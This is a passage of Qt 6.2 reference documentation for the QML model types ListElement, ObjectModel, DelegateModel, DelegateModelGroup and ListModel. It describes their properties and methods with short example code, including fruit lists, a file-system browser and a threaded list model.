 Detailed Description
--------------------

 List elements are defined inside [ListModel](qml-qtqml-models-listmodel) definitions, and represent items in a list that will be displayed using [ListView](qml-qtquick-listview) or [Repeater](qml-qtquick-repeater) items.

 List elements are defined like other QML elements except that they contain a collection of *role* definitions instead of properties. Using the same syntax as property definitions, roles both define how the data is accessed and include the data itself.

 The names used for roles must begin with a lower-case letter and should be common to all elements in a given model. Values must be simple constants; either strings (quoted and optionally within a call to [QT\_TR\_NOOP](qtglobal#QT_TR_NOOP)), boolean values (true, false), numbers, or enumeration values (such as AlignText.AlignHCenter).

 Beginning with Qt 5.11 ListElement also allows assigning a function declaration to a role. This allows the definition of ListElements with callable actions.

 Referencing Roles
-----------------

 The role names are used by delegates to obtain data from list elements. Each role name is accessible in the delegate's scope, and refers to the corresponding role in the current element. Where a role name would be ambiguous to use, it can be accessed via the [model](qml-qtquick-listview#model-prop) property (e.g., `model.cost` instead of `cost`).

 Example Usage
-------------

 The following model defines a series of list elements, each of which contain "name" and "cost" roles and their associated values.

 
```
ListModel {
    id: fruitModel

    ListElement {
        name: "Apple"
        cost: 2.45
    }
    ListElement {
        name: "Orange"
        cost: 3.25
    }
    ListElement {
        name: "Banana"
        cost: 1.95
    }
}
```
 The delegate obtains the name and cost for each element by simply referring to `name` and `cost`:

 
```
ListView {
    anchors.fill: parent
    model: fruitModel
    delegate: Row {
        Text { text: "Fruit: " + name }
        Text { text: "Cost: $" + cost }
    }
}
```
 **See also** [ListModel](qml-qtqml-models-listmodel).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-models-listelement.html>

ObjectModel QML Type
====================

 Defines a set of items to be used as a model. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml.Models |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-models-objectmodel-members.html)

 Properties
----------

 * **[count](qml-qtqml-models-objectmodel#count-prop)** : int

 Attached Properties
-------------------

 * **[index](qml-qtqml-models-objectmodel#index-attached-prop)** : int

 Methods
-------

 * **[append](qml-qtqml-models-objectmodel#append-method)**(object *item*)
* **[clear](qml-qtqml-models-objectmodel#clear-method)**()
* object **[get](qml-qtqml-models-objectmodel#get-method)**(int *index*)
* **[insert](qml-qtqml-models-objectmodel#insert-method)**(int *index*, object *item*)
* **[move](qml-qtqml-models-objectmodel#move-method)**(int *from*, int *to*, int *n*)
* **[remove](qml-qtqml-models-objectmodel#remove-method)**(int *index*, int *n*)

 Detailed Description
--------------------

 An ObjectModel contains the visual items to be used in a view. When an ObjectModel is used in a view, the view does not require a delegate since the ObjectModel already contains the visual delegate (items).

 An item can determine its index within the model via the [index](qml-qtqml-models-objectmodel#index-attached-prop) attached property.

 The example below places three colored rectangles in a [ListView](qml-qtquick-listview).

 
```
import QtQuick 2.0
import QtQml.Models 2.1

Rectangle {
    ObjectModel {
        id: itemModel
        Rectangle { height: 30; width: 80; color: "red" }
        Rectangle { height: 30; width: 80; color: "green" }
        Rectangle { height: 30; width: 80; color: "blue" }
    }

    ListView {
        anchors.fill: parent
        model: itemModel
    }
}
```
 ![]


**See also** [Qt Quick Examples - Views](https://doc.qt.io/qt-6.2/qtquick-views-example.html).

 Property Documentation
----------------------

 ###  count : [int](qml-int)

 The number of items in the model. This property is readonly.

 Attached Property Documentation
-------------------------------

 ###  ObjectModel.index : [int](qml-int)

 This attached property holds the index of this delegate's item within the model.

 It is attached to each instance of the delegate.

 Method Documentation
--------------------

 ###  `[since 5.6]` append(object *item*)

 Appends a new *item* to the end of the model.

 
```
objectModel.append(objectComponent.createObject())
```
 This method was introduced in Qt 5.6.

 **See also** [insert](qml-qtqml-models-objectmodel#insert-method)() and [remove](qml-qtqml-models-objectmodel#remove-method)().

 ###  `[since 5.6]` clear()

 Clears all items from the model.

 This method was introduced in Qt 5.6.

 **See also** [append](qml-qtqml-models-objectmodel#append-method)() and [remove](qml-qtqml-models-objectmodel#remove-method)().

 ###  `[since 5.6]` object get([int](qml-int) *index*)

 Returns the item at *index* in the model. This allows the item to be accessed or modified from JavaScript:

 
```
Component.onCompleted: {
    objectModel.append(objectComponent.createObject())
    console.log(objectModel.get(0).objectName);
    objectModel.get(0).objectName = "first";
}
```
 The *index* must be an element in the list.

 This method was introduced in Qt 5.6.

 **See also** [append](qml-qtqml-models-objectmodel#append-method)().

 ###  `[since 5.6]` insert([int](qml-int) *index*, object *item*)

 Inserts a new *item* to the model at position *index*.

 
```
objectModel.insert(2, objectComponent.createObject())
```
 The *index* must be to an existing item in the list, or one past the end of the list (equivalent to append).

 This method was introduced in Qt 5.6.

 **See also** [append](qml-qtqml-models-objectmodel#append-method)() and [remove](qml-qtqml-models-objectmodel#remove-method)().

 ###  `[since 5.6]` move([int](qml-int) *from*, [int](qml-int) *to*, [int](qml-int) *n* = 1)

 Moves *n* items *from* one position *to* another.

 The from and to ranges must exist; for example, to move the first 3 items to the end of the model:

 
```
objectModel.move(0, objectModel.count - 3, 3)
```
 This method was introduced in Qt 5.6.

 **See also** [append](qml-qtqml-models-objectmodel#append-method)().

 ###  `[since 5.6]` remove([int](qml-int) *index*, [int](qml-int) *n* = 1)

 Removes *n* items at *index* from the model.

 This method was introduced in Qt 5.6.

 **See also** [clear](qml-qtqml-models-objectmodel#clear-method)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-models-objectmodel.html>

DelegateModel QML Type
======================

 Encapsulates a model and delegate. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml.Models |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-models-delegatemodel-members.html)

 Properties
----------

 * **[count](qml-qtqml-models-delegatemodel#count-prop)** : int
* **[delegate](qml-qtqml-models-delegatemodel#delegate-prop)** : Component
* **[filterOnGroup](qml-qtqml-models-delegatemodel#filterOnGroup-prop)** : string
* **[groups](qml-qtqml-models-delegatemodel#groups-prop)** : list<DelegateModelGroup>
* **[items](qml-qtqml-models-delegatemodel#items-prop)** : DelegateModelGroup
* **[model](qml-qtqml-models-delegatemodel#model-prop)** : model
* **[parts](qml-qtqml-models-delegatemodel#parts-prop)** : object
* **[persistedItems](qml-qtqml-models-delegatemodel#persistedItems-prop)** : DelegateModelGroup
* **[rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop)** : QModelIndex

 Attached Properties
-------------------

 * **[groups](qml-qtqml-models-delegatemodel#groups-attached-prop)** : stringlist
* **[inItems](qml-qtqml-models-delegatemodel#inItems-attached-prop)** : bool
* **[inPersistedItems](qml-qtqml-models-delegatemodel#inPersistedItems-attached-prop)** : bool
* **[isUnresolved](qml-qtqml-models-delegatemodel#isUnresolved-attached-prop)** : bool
* **[itemsIndex](qml-qtqml-models-delegatemodel#itemsIndex-attached-prop)** : int
* **[model](qml-qtqml-models-delegatemodel#model-attached-prop)** : model
* **[persistedItemsIndex](qml-qtqml-models-delegatemodel#persistedItemsIndex-attached-prop)** : int

 Methods
-------

 * QModelIndex **[modelIndex](qml-qtqml-models-delegatemodel#modelIndex-method)**(int *index*)
* QModelIndex **[parentModelIndex](qml-qtqml-models-delegatemodel#parentModelIndex-method)**()

 Detailed Description
--------------------

 The DelegateModel type encapsulates a model and the delegate that will be instantiated for items in the model.

 It is usually not necessary to create a DelegateModel. However, it can be useful for manipulating and accessing the [modelIndex](qml-qtqml-models-delegatemodel#modelIndex-method) when a [QAbstractItemModel](qabstractitemmodel) subclass is used as the model. Also, DelegateModel is used together with [Package](qml-qtqml-models-package) to provide delegates to multiple views, and with [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup) to sort and filter delegate items.

 The example below illustrates using a DelegateModel with a [ListView](qml-qtquick-listview).

 
```
import QtQuick 2.0
import QtQml.Models 2.2

Rectangle {
    width: 200; height: 100

    DelegateModel {
        id: visualModel
        model: ListModel {
            ListElement { name: "Apple" }
            ListElement { name: "Orange" }
        }
        delegate: Rectangle {
            height: 25
            width: 100
            Text { text: "Name: " + name}
        }
    }

    ListView {
        anchors.fill: parent
        model: visualModel
    }
}
```
 Property Documentation
----------------------

 ###  count : [int](qml-int)

 ###  delegate : [Component](qml-qtqml-component)

 The delegate provides a template defining each item instantiated by a view. The index is exposed as an accessible `index` property. Properties of the model are also available depending upon the type of [Data Model](qtquick-modelviewsdata-modelview#qml-data-models).

 ###  filterOnGroup : [string](qml-string)

 This property holds name of the group that is used to filter the delegate model.

 Only items that belong to this group are visible to a view.

 By default this is the [items](qml-qtqml-models-delegatemodel#items-prop) group.

 ###  groups : [list](qml-list)<[DelegateModelGroup](qml-qtqml-models-delegatemodelgroup)>

 This property holds a delegate model's group definitions.

 Groups define a sub-set of the items in a delegate model and can be used to filter a model.

 For every group defined in a [DelegateModel](qml-qtqml-models-delegatemodel) two attached properties are added to each delegate item. The first of the form [DelegateModel](qml-qtqml-models-delegatemodel).in*GroupName* holds whether the item belongs to the group and the second [DelegateModel](qml-qtqml-models-delegatemodel).*groupName*Index holds the index of the item in that group.

 The following example illustrates using groups to select items in a model.

 
```
import QtQuick 2.0
import QtQml.Models 2.2

Rectangle {
    width: 200; height: 100

    DelegateModel {
        id: visualModel
        model: ListModel {
            ListElement { name: "Apple" }
            ListElement { name: "Orange" }
        }

        groups: [
            DelegateModelGroup { name: "selected" }
        ]

        delegate: Rectangle {
            id: item
            height: 25
            width: 200
            Text {
                text: {
                    var text = "Name: " + name
                    if (item.DelegateModel.inSelected)
                        text += " (" + item.DelegateModel.selectedIndex + ")"
                    return text;
                }
            }
            MouseArea {
                anchors.fill: parent
                onClicked: item.DelegateModel.inSelected = !item.DelegateModel.inSelected
            }
        }
    }

    ListView {
        anchors.fill: parent
        model: visualModel
    }
}
```
 ###  items : [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup)

 This property holds default group to which all new items are added.

 ###  model : model

 This property holds the model providing data for the [DelegateModel](qml-qtqml-models-delegatemodel).

 The model provides a set of data that is used to create the items for a view. For large or dynamic datasets the model is usually provided by a C++ model object. The C++ model object must be a [QAbstractItemModel](qabstractitemmodel) subclass or a simple list.

 Models can also be created directly in QML, for example using [ListModel](qml-qtqml-models-listmodel).

 **See also** [Data Models](qtquick-modelviewsdata-modelview#qml-data-models).

 ###  parts : object

 The *parts* property selects a [DelegateModel](qml-qtqml-models-delegatemodel) which creates delegates from the part named. This is used in conjunction with the [Package](qml-qtqml-models-package) type.

 For example, the code below selects a model which creates delegates named *list* from a [Package](qml-qtqml-models-package):

 
```
DelegateModel {
    id: visualModel
    delegate: Package {
        Item { Package.name: "list" }
    }
    model: myModel
}

ListView {
    width: 200; height:200
    model: visualModel.parts.list
}
```
 **See also** [Package](qml-qtqml-models-package).

 ###  persistedItems : [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup)

 This property holds delegate model's persisted items group.

 Items in this group are not destroyed when released by a view, instead they are persisted until removed from the group.

 An item can be removed from the persistedItems group by setting the [DelegateModel](qml-qtqml-models-delegatemodel).[inPersistedItems](qml-qtqml-models-delegatemodel#inPersistedItems-attached-prop) property to false. If the item is not referenced by a view at that time it will be destroyed. Adding an item to this group will not create a new instance.

 Items returned by the [QtQml.Models::DelegateModelGroup::create](qml-qtqml-models-delegatemodelgroup#create-method)() function are automatically added to this group.

 ###  rootIndex : QModelIndex

 [QAbstractItemModel](qabstractitemmodel) provides a hierarchical tree of data, whereas QML only operates on list data. `rootIndex` allows the children of any node in a [QAbstractItemModel](qabstractitemmodel) to be provided by this model.

 This property only affects models of type [QAbstractItemModel](qabstractitemmodel) that are hierarchical (e.g, a tree model).

 For example, here is a simple interactive file system browser. When a directory name is clicked, the view's `rootIndex` is set to the [QModelIndex](qmodelindex) node of the clicked directory, thus updating the view to show the new directory's contents.

 `main.cpp`:

 
```
int main(int argc, char ** argv)
{
    QApplication app(argc, argv);

    QQuickView view;

    QFileSystemModel model;
    view.rootContext()->setContextProperty("fileSystemModel", &model);

    view.setSource(QUrl::fromLocalFile("view.qml"));
    view.show();

    return app.exec();
}
```
 `view.qml`:

 
```
import QtQuick 2.0
import QtQml.Models 2.2

ListView {
    id: view
    width: 300
    height: 400

    model: DelegateModel {
        model: fileSystemModel

        delegate: Rectangle {
            width: 200; height: 25
            Text { text: filePath }

            MouseArea {
                anchors.fill: parent
                onClicked: {
                    if (model.hasModelChildren)
                        view.model.rootIndex = view.model.modelIndex(index)
                }
            }
        }
    }
}
```
 If the [model](qml-qtqml-models-delegatemodel#model-prop) is a [QAbstractItemModel](qabstractitemmodel) subclass, the delegate can also reference a `hasModelChildren` property (optionally qualified by a *model*. prefix) that indicates whether the delegate's model item has any child nodes.

 **See also** [modelIndex](qml-qtqml-models-delegatemodel#modelIndex-method)() and [parentModelIndex](qml-qtqml-models-delegatemodel#parentModelIndex-method)().

 Attached Property Documentation
-------------------------------

 ###  DelegateModel.groups : stringlist

 This attached property holds the name of DelegateModelGroups the item belongs to.

 It is attached to each instance of the delegate.

 ###  DelegateModel.inItems : [bool](qml-bool)

 This attached property holds whether the item belongs to the default [items](qml-qtqml-models-delegatemodel#items-prop) [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup).

 Changing this property will add or remove the item from the items group.

 It is attached to each instance of the delegate.

 ###  DelegateModel.inPersistedItems : [bool](qml-bool)

 This attached property holds whether the item belongs to the [persistedItems](qml-qtqml-models-delegatemodel#persistedItems-prop) [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup).

 Changing this property will add or remove the item from the items group. Change with caution as removing an item from the [persistedItems](qml-qtqml-models-delegatemodel#persistedItems-prop) group will destroy the current instance if it is not referenced by a model.

 It is attached to each instance of the delegate.

 ###  DelegateModel.isUnresolved : [bool](qml-bool)

 This attached property indicates whether the visual item is bound to a data model index. Returns true if the item is not bound to the model, and false if it is.

 An unresolved item can be bound to the data model using the [DelegateModelGroup::resolve](qml-qtqml-models-delegatemodelgroup#resolve-method)() function.

 It is attached to each instance of the delegate.

 ###  DelegateModel.itemsIndex : [int](qml-int)

 This attached property holds the index of the item in the default [items](qml-qtqml-models-delegatemodel#items-prop) [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup).

 It is attached to each instance of the delegate.

 ###  DelegateModel.model : model

 This attached property holds the data model this delegate instance belongs to.

 It is attached to each instance of the delegate.

 ###  DelegateModel.persistedItemsIndex : [int](qml-int)

 This attached property holds the index of the item in the [persistedItems](qml-qtqml-models-delegatemodel#persistedItems-prop) [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup).

 It is attached to each instance of the delegate.

 Method Documentation
--------------------

 ###  QModelIndex modelIndex([int](qml-int) *index*)

 [QAbstractItemModel](qabstractitemmodel) provides a hierarchical tree of data, whereas QML only operates on list data. This function assists in using tree models in QML.

 Returns a [QModelIndex](qmodelindex) for the specified *index*. This value can be assigned to [rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop).

 **See also** [rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop).

 ###  QModelIndex parentModelIndex()

 [QAbstractItemModel](qabstractitemmodel) provides a hierarchical tree of data, whereas QML only operates on list data. This function assists in using tree models in QML.

 Returns a [QModelIndex](qmodelindex) for the parent of the current [rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop). This value can be assigned to [rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop).

 **See also** [rootIndex](qml-qtqml-models-delegatemodel#rootIndex-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-models-delegatemodel.html>

DelegateModelGroup QML Type
===========================

 Encapsulates a filtered set of visual data items. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml.Models |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-models-delegatemodelgroup-members.html)

 Properties
----------

 * **[count](qml-qtqml-models-delegatemodelgroup#count-prop)** : int
* **[includeByDefault](qml-qtqml-models-delegatemodelgroup#includeByDefault-prop)** : bool
* **[name](qml-qtqml-models-delegatemodelgroup#name-prop)** : string

 Signals
-------

 * **[changed](qml-qtqml-models-delegatemodelgroup#changed-signal)**(array *removed*, array *inserted*)

 Methods
-------

 * **[addGroups](qml-qtqml-models-delegatemodelgroup#addGroups-method)**(int *index*, int *count*, stringlist *groups*)
* **[create](qml-qtqml-models-delegatemodelgroup#create-method-2)**(jsdict *data*, array *groups*)
* **[create](qml-qtqml-models-delegatemodelgroup#create-method-1)**(int *index*, jsdict *data*, array *groups*)
* **[create](qml-qtqml-models-delegatemodelgroup#create-method)**(int *index*)
* object **[get](qml-qtqml-models-delegatemodelgroup#get-method)**(int *index*)
* **[insert](qml-qtqml-models-delegatemodelgroup#insert-method-1)**(jsdict *data*, var *groups*)
* **[insert](qml-qtqml-models-delegatemodelgroup#insert-method)**(int *index*, jsdict *data*, array *groups*)
* **[move](qml-qtqml-models-delegatemodelgroup#move-method)**(var *from*, var *to*, int *count*)
* **[remove](qml-qtqml-models-delegatemodelgroup#remove-method)**(int *index*, int *count*)
* **[removeGroups](qml-qtqml-models-delegatemodelgroup#removeGroups-method)**(int *index*, int *count*, stringlist *groups*)
* **[resolve](qml-qtqml-models-delegatemodelgroup#resolve-method)**(int *from*, int *to*)
* **[setGroups](qml-qtqml-models-delegatemodelgroup#setGroups-method)**(int *index*, int *count*, stringlist *groups*)

 Detailed Description
--------------------

 The DelegateModelGroup type provides a means to address the model data of a [DelegateModel](qml-qtqml-models-delegatemodel)'s delegate items, as well as sort and filter these delegate items.

 The initial set of instantiable delegate items in a [DelegateModel](qml-qtqml-models-delegatemodel) is represented by its [items](qml-qtqml-models-delegatemodel#items-prop) group, which normally directly reflects the contents of the model assigned to [DelegateModel::model](qml-qtqml-models-delegatemodel#model-attached-prop). This set can be changed to the contents of any other member of [DelegateModel::groups](qml-qtqml-models-delegatemodel#groups-attached-prop) by assigning the [name](qml-qtqml-models-delegatemodelgroup#name-prop) of that DelegateModelGroup to the [DelegateModel::filterOnGroup](qml-qtqml-models-delegatemodel#filterOnGroup-prop) property.

 The data of an item in a DelegateModelGroup can be accessed using the [get](qml-qtqml-models-delegatemodelgroup#get-method)() function, which returns information about group membership and indexes as well as model data. In combination with the [move](qml-qtqml-models-delegatemodelgroup#move-method)() function this can be used to implement view sorting, with [remove](qml-qtqml-models-delegatemodelgroup#remove-method)() to filter items out of a view, or with [setGroups](qml-qtqml-models-delegatemodelgroup#setGroups-method)() and [Package](qml-qtqml-models-package) delegates to categorize items into different views. Different groups can only be sorted independently if they are disjunct. Moving an item in one group will also move it in all other groups it is a part of.

 Data from models can be supplemented by inserting data directly into a DelegateModelGroup with the [insert](qml-qtqml-models-delegatemodelgroup#insert-method)() function. This can be used to introduce mock items into a view, or placeholder items that are later [resolved](qml-qtqml-models-delegatemodelgroup#resolve-method) to real model data when it becomes available.

 Delegate items can also be instantiated directly from a DelegateModelGroup using the [create](qml-qtqml-models-delegatemodelgroup#create-method)() function, making it possible to use [DelegateModel](qml-qtqml-models-delegatemodel) without an accompanying view type or to cherry-pick specific items that should be instantiated irregardless of whether they're currently within a view's visible area.

 **See also** [QML Dynamic View Ordering Tutorial](https://doc.qt.io/qt-6.2/qml-dynamicview-tutorial.html).

 Property Documentation
----------------------

 ###  count : [int](qml-int)

 This property holds the number of items in the group.

 ###  includeByDefault : [bool](qml-bool)

 This property holds whether new items are assigned to this group by default.

 ###  name : [string](qml-string)

 This property holds the name of the group.

 Each group in a model must have a unique name starting with a lower case letter.

 Signal Documentation
--------------------

 ###  changed(array *removed*, array *inserted*)

 This signal is emitted when items have been removed from or inserted into the group.

 Each object in the *removed* and *inserted* arrays has two values; the *index* of the first item inserted or removed and a *count* of the number of consecutive items inserted or removed.

 Each index is adjusted for previous changes with all removed items preceding any inserted items.

 **Note:** The corresponding handler is `onChanged`.

 Method Documentation
--------------------

  ###  create([int](qml-int) *index*)

 
Returns a reference to the instantiated item at *index* in the group.

 If a *data* object is provided it will be [inserted](qml-qtqml-models-delegatemodelgroup#insert-method) at *index* and an item referencing this new entry will be returned. The optional *groups* parameter identifies the groups the new entry should belong to, if unspecified this is equal to the group [create](qml-qtqml-models-delegatemodelgroup#create-method)() was called on.

 All items returned by create are added to the [persistedItems](qml-qtqml-models-delegatemodel#persistedItems-prop) group. Items in this group remain instantiated when not referenced by any view.

  ###  insert([int](qml-int) *index*, jsdict *data*, array *groups* = undefined)

 
Creates a new entry at *index* in a [DelegateModel](qml-qtqml-models-delegatemodel) with the values from *data* that correspond to roles in the model assigned to [DelegateModel::model](qml-qtqml-models-delegatemodel#model-attached-prop).

 If no index is supplied the data is appended to the model.

 The optional *groups* parameter identifies the groups the new entry should belong to, if unspecified this is equal to the group insert was called on.

 Data inserted into a [DelegateModel](qml-qtqml-models-delegatemodel) can later be merged with an existing entry in [DelegateModel::model](qml-qtqml-models-delegatemodel#model-attached-prop) using the [resolve](qml-qtqml-models-delegatemodelgroup#resolve-method)() function. This can be used to create placeholder items that are later replaced by actual data.

 ###  addGroups([int](qml-int) *index*, [int](qml-int) *count*, stringlist *groups*)

 Adds *count* items starting at *index* to *groups*.

 ###  object get([int](qml-int) *index*)

 Returns a javascript object describing the item at *index* in the group.

 The returned object contains the same information that is available to a delegate from the [DelegateModel](qml-qtqml-models-delegatemodel) attached as well as the model for that item. It has the properties:

 * **model** The model data of the item. This is the same as the model context property in a delegate
* **groups** A list the of names of groups the item is a member of. This property can be written to change the item's membership.
* **inItems** Whether the item belongs to the [items](qml-qtqml-models-delegatemodel#items-prop) group. Writing to this property will add or remove the item from the group.
* **itemsIndex** The index of the item within the [items](qml-qtqml-models-delegatemodel#items-prop) group.
* **in<GroupName>** Whether the item belongs to the dynamic group *groupName*. Writing to this property will add or remove the item from the group.
* **<groupName>Index** The index of the item within the dynamic group *groupName*.
* **isUnresolved** Whether the item is bound to an index in the model assigned to [DelegateModel::model](qml-qtqml-models-delegatemodel#model-attached-prop). Returns true if the item is not bound to the model, and false if it is.

 ###  move([var](qml-var) *from*, [var](qml-var) *to*, [int](qml-int) *count*)

 Moves *count* at *from* in a group *to* a new position.

  **Note:** The [DelegateModel](qml-qtqml-models-delegatemodel) acts as a proxy model: it holds the delegates in a different order than the [underlying model](qml-qtqml-models-delegatemodel#model-prop) has them. Any subsequent changes to the underlying model will not undo whatever reordering you have done via this function.

  ###  remove([int](qml-int) *index*, [int](qml-int) *count*)

 Removes *count* items starting at *index* from the group.

 ###  removeGroups([int](qml-int) *index*, [int](qml-int) *count*, stringlist *groups*)

 Removes *count* items starting at *index* from *groups*.

 ###  resolve([int](qml-int) *from*, [int](qml-int) *to*)

 Binds an unresolved item at *from* to an item in [DelegateModel::model](qml-qtqml-models-delegatemodel#model-attached-prop) at index *to*.

 Unresolved items are entries whose data has been [inserted](qml-qtqml-models-delegatemodelgroup#insert-method) into a [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup) instead of being derived from a [DelegateModel::model](qml-qtqml-models-delegatemodel#model-attached-prop) index. Resolving an item will replace the item at the target index with the unresolved item. A resolved an item will reflect the data of the source model at its bound index and will move when that index moves like any other item.

 If a new item is replaced in the [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup) onChanged() handler its insertion and replacement will be communicated to views as an atomic operation, creating the appearance that the model contents have not changed, or if the unresolved and model item are not adjacent that the previously unresolved item has simply moved.

 ###  setGroups([int](qml-int) *index*, [int](qml-int) *count*, stringlist *groups*)

 Changes the group membership of *count* items starting at *index*. The items are removed from their existing groups and added to *groups*.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-models-delegatemodelgroup.html>

ListModel QML Type
==================

 Defines a free-form list data source. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml.Models |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-models-listmodel-members.html)

 Properties
----------

 * **[count](qml-qtqml-models-listmodel#count-prop)** : int
* **[dynamicRoles](qml-qtqml-models-listmodel#dynamicRoles-prop)** : bool

 Methods
-------

 * **[append](qml-qtqml-models-listmodel#append-method)**(jsobject *dict*)
* **[clear](qml-qtqml-models-listmodel#clear-method)**()
* object **[get](qml-qtqml-models-listmodel#get-method)**(int *index*)
* **[insert](qml-qtqml-models-listmodel#insert-method)**(int *index*, jsobject *dict*)
* **[move](qml-qtqml-models-listmodel#move-method)**(int *from*, int *to*, int *n*)
* **[remove](qml-qtqml-models-listmodel#remove-method)**(int *index*, int *count*)
* **[set](qml-qtqml-models-listmodel#set-method)**(int *index*, jsobject *dict*)
* **[setProperty](qml-qtqml-models-listmodel#setProperty-method)**(int *index*, string *property*, variant *value*)
* **[sync](qml-qtqml-models-listmodel#sync-method)**()

 Detailed Description
--------------------

 The ListModel is a simple container of [ListElement](qml-qtqml-models-listelement) definitions, each containing data roles. The contents can be defined dynamically, or explicitly in QML.

 The number of elements in the model can be obtained from its [count](qml-qtqml-models-listmodel#count-prop) property. A number of familiar methods are also provided to manipulate the contents of the model, including [append](qml-qtqml-models-listmodel#append-method)(), [insert](qml-qtqml-models-listmodel#insert-method)(), [move](qml-qtqml-models-listmodel#move-method)(), [remove](qml-qtqml-models-listmodel#remove-method)() and [set](qml-qtqml-models-listmodel#set-method)(). These methods accept dictionaries as their arguments; these are translated to [ListElement](qml-qtqml-models-listelement) objects by the model.

 Elements can be manipulated via the model using the [setProperty](qml-qtqml-models-listmodel#setProperty-method)() method, which allows the roles of the specified element to be set and changed.

 Example Usage
-------------

 The following example shows a ListModel containing three elements, with the roles "name" and "cost".

 
![]

 

```
import QtQuick 2.0

ListModel {
    id: fruitModel

    ListElement {
        name: "Apple"
        cost: 2.45
    }
    ListElement {
        name: "Orange"
        cost: 3.25
    }
    ListElement {
        name: "Banana"
        cost: 1.95
    }
}
```
 Roles (properties) in each element must begin with a lower-case letter and should be common to all elements in a model. The [ListElement](qml-qtqml-models-listelement) documentation provides more guidelines for how elements should be defined.

 Since the example model contains an `id` property, it can be referenced by views, such as the [ListView](qml-qtquick-listview) in this example:

 
```
import QtQuick 2.0

Rectangle {
    width: 200; height: 200

    ListModel {
        id: fruitModel
        ...
    }

    Component {
        id: fruitDelegate
        Row {
            spacing: 10
            Text { text: name }
            Text { text: '$' + cost }
        }
    }

    ListView {
        anchors.fill: parent
        model: fruitModel
        delegate: fruitDelegate
    }
}
```
 It is possible for roles to contain list data. In the following example we create a list of fruit attributes:

 
```
ListModel {
    id: fruitModel

    ListElement {
        name: "Apple"
        cost: 2.45
        attributes: [
            ListElement { description: "Core" },
            ListElement { description: "Deciduous" }
        ]
    }
    ListElement {
        name: "Orange"
        cost: 3.25
        attributes: [
            ListElement { description: "Citrus" }
        ]
    }
    ListElement {
        name: "Banana"
        cost: 1.95
        attributes: [
            ListElement { description: "Tropical" },
            ListElement { description: "Seedless" }
        ]
    }
}
```
 The delegate displays all the fruit attributes:

 
![]

 

```
Component {
    id: fruitDelegate
    Item {
        width: 200; height: 50
        Text { id: nameField; text: name }
        Text { text: '$' + cost; anchors.left: nameField.right }
        Row {
            anchors.top: nameField.bottom
            spacing: 5
            Text { text: "Attributes:" }
            Repeater {
                model: attributes
                Text { text: description }
            }
        }
    }
}
```
 Modifying List Models
---------------------

 The content of a ListModel may be created and modified using the [clear](qml-qtqml-models-listmodel#clear-method)(), [append](qml-qtqml-models-listmodel#append-method)(), [set](qml-qtqml-models-listmodel#set-method)(), [insert](qml-qtqml-models-listmodel#insert-method)() and [setProperty](qml-qtqml-models-listmodel#setProperty-method)() methods. For example:

 
```
    Component {
        id: fruitDelegate
        Item {
            width: 200; height: 50
            Text { text: name }
            Text { text: '$' + cost; anchors.right: parent.right }

            // Double the price when clicked.
            MouseArea {
                anchors.fill: parent
                onClicked: fruitModel.setProperty(index, "cost", cost * 2)
            }
        }
    }
```
 Note that when creating content dynamically the set of available properties cannot be changed once set. Whatever properties are first added to the model are the only permitted properties in the model.

 Using Threaded List Models with WorkerScript
--------------------------------------------

 ListModel can be used together with [WorkerScript](qml-qtqml-workerscript-workerscript) access a list model from multiple threads. This is useful if list modifications are synchronous and take some time: the list operations can be moved to a different thread to avoid blocking of the main GUI thread.

 Here is an example that uses [WorkerScript](qml-qtqml-workerscript-workerscript) to periodically append the current time to a list model:

 
```
        Timer {
            id: timer
            interval: 2000; repeat: true
            running: true
            triggeredOnStart: true

            onTriggered: {
                var msg = {'action': 'appendCurrentTime', 'model': listModel};
                worker.sendMessage(msg);
            }
        }
```
 The included file, `dataloader.mjs`, looks like this:

 
```
WorkerScript.onMessage = function(msg) {
    if (msg.action == 'appendCurrentTime') {
        var data = {'time': new Date().toTimeString()};
        msg.model.append(data);
        msg.model.sync();   // updates the changes to the list
    }
}
```
 The timer in the main example sends messages to the worker script by calling [WorkerScript::sendMessage](qml-qtqml-workerscript-workerscript#sendMessage-method)(). When this message is received, `WorkerScript.onMessage()` is invoked in `dataloader.mjs`, which appends the current time to the list model.

 Note the call to [sync](qml-qtqml-models-listmodel#sync-method)() from the external thread. You must call [sync](qml-qtqml-models-listmodel#sync-method)() or else the changes made to the list from that thread will not be reflected in the list model in the main thread.

 **See also** [Data Models](qtquick-modelviewsdata-modelview#qml-data-models), [Qt Quick Examples - Threading](https://doc.qt.io/qt-6.2/qtquick-threading-example.html), and [Qt QML](qtqml-index).

 Property Documentation
----------------------

 ###  count : [int](qml-int)

 The number of data entries in the model.

 ###  dynamicRoles : [bool](qml-bool)

 By default, the type of a role is fixed the first time the role is used. For example, if you create a role called "data" and assign a number to it, you can no longer assign a string to the "data" role. However, when the dynamicRoles property is enabled, the type of a given role is not fixed and can be different between elements.

